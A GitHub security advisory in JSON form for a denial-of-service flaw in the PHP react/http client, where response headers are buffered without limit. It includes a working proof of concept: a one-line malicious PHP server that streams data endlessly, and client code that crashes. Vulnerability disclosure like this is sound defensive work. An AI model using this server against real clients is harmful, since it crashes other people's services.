{"schema_version":"1.9.0","id":"GHSA-g4f2-2pf3-2pwj","published":"2026-10-15T20:09:56Z","modified":"2026-10-15T20:30:06.075181740Z","aliases":["CVE-2026-104827"],"summary":"react/http: Unbounded HTTP Client Response Header Buffering Leads to Memory Exhaustion DoS","details":"### Summary\n\n`React\\Http\\Browser` and its lower-level HTTP stack impose no limit on the size of a response's header section while it is being received. `ClientRequestStream::handleData()` appends every incoming byte to an internal buffer and only scans that buffer for the `\\r\\n\\r\\n` (or `\\n\\n`) terminator, without ever checking its length. A remote server that withholds the terminator and keeps streaming can grow the client's memory without bound until PHP's `memory_limit` is exhausted and the process crashes.\n\nThis is an unauthenticated, network-reachable denial of service against any application that uses `react/http` as a client to fetch untrusted or attacker-influenced URLs, including via redirects.\n\n### Details\n\n`ClientRequestStream::handleData()` is bound directly to the underlying connection's `data` event, so every byte the peer sends is appended with no size check:\n\n```php\npublic function handleData($data)\n{\n    $this->buffer .= $data;\n\n    // buffer until double CRLF (or double LF for compatibility with legacy servers)\n    $eom = \\strpos($this->buffer, \"\\r\\n\\r\\n\");\n    $eomLegacy = \\strpos($this->buffer, \"\\n\\n\");\n    if ($eom !== false || $eomLegacy !== false) {\n```\n\nThe only exit from the buffering state is finding the header terminator or a connection close, so until it arrives the buffer grows monotonically for as long as the peer keeps sending.\n\nThe codebase already applies this class of limit elsewhere, but not symmetrically. `RequestHeaderParser` caps incoming **request** headers when acting as a server, and `Transaction::bufferResponse()` caps the response **body**, but only once the header section has already been parsed into a `Response`. Response header reception was the one stage with no limit at all.\n\n### PoC\n\nAn HTTP server that sends a valid status line and a partial header, then streams indefinitely without ever terminating the header section:\n\n```bash\nphp -r '$s=stream_socket_server(\"tcp://127.0.0.1:18080\"); $c=stream_socket_accept($s); fread($c,8192); fwrite($c,\"HTTP/1.1 200 OK\\r\\nX-Fill: \"); while (true) { fwrite($c, str_repeat(\"A\",1048576)); usleep(10000); }'\n```\n\nA client fetching it, with `memory_limit=64M`:\n\n```php\n$browser = new React\\Http\\Browser();\n$browser->get(\"http://127.0.0.1:18080/\")->then(\n    function () { echo \"ok\\n\"; },\n    function ($e) { echo get_class($e) . \": \" . $e->getMessage() . \"\\n\"; }\n);\n```\n\nClient memory grows steadily until the process dies with `Allowed memory size ... exhausted` inside `ClientRequestStream::handleData()`.\n\n### Impact\n\nRemotely triggerable, unauthenticated denial of service against any process using `Browser` to fetch from an attacker-controlled, compromised or otherwise untrusted endpoint, including one reached through a redirect. No user interaction and no special privileges are required. Because there is no upper bound on the header buffer, a single cheap connection can drive memory arbitrarily high and crash the process, taking down whatever event loop or worker it was running. Confidentiality and integrity are unaffected; availability is fully impacted for that process.","affected":[{"package":{"name":"react/http","ecosystem":"Packagist","purl":"pkg:composer/react/http"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0"},{"fixed":"1.11.1"}]}],"versions":["v1.0.0","v1.1.0","v1.10.0","v1.11.0","v1.2.0","v1.3.0","v1.4.0","v1.5.0","v1.6.0","v1.7.0","v1.8.0","v1.9.0"],"database_specific":{"last_known_affected_version_range":"<= 1.11.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-g4f2-2pf3-2pwj/GHSA-g4f2-2pf3-2pwj.json"}}],"references":[{"type":"WEB","url":"https://github.com/reactphp/http/security/advisories/GHSA-g4f2-2pf3-2pwj"},{"type":"WEB","url":"https://github.com/reactphp/http/commit/2558622d0b76227c60c61eac8a61572cb6638e8c"},{"type":"PACKAGE","url":"https://github.com/reactphp/http"},{"type":"WEB","url":"https://github.com/reactphp/http/releases/tag/v1.11.1"}],"database_specific":{"cwe_ids":["CWE-770"],"github_reviewed":true,"github_reviewed_at":"2026-10-15T20:09:56Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}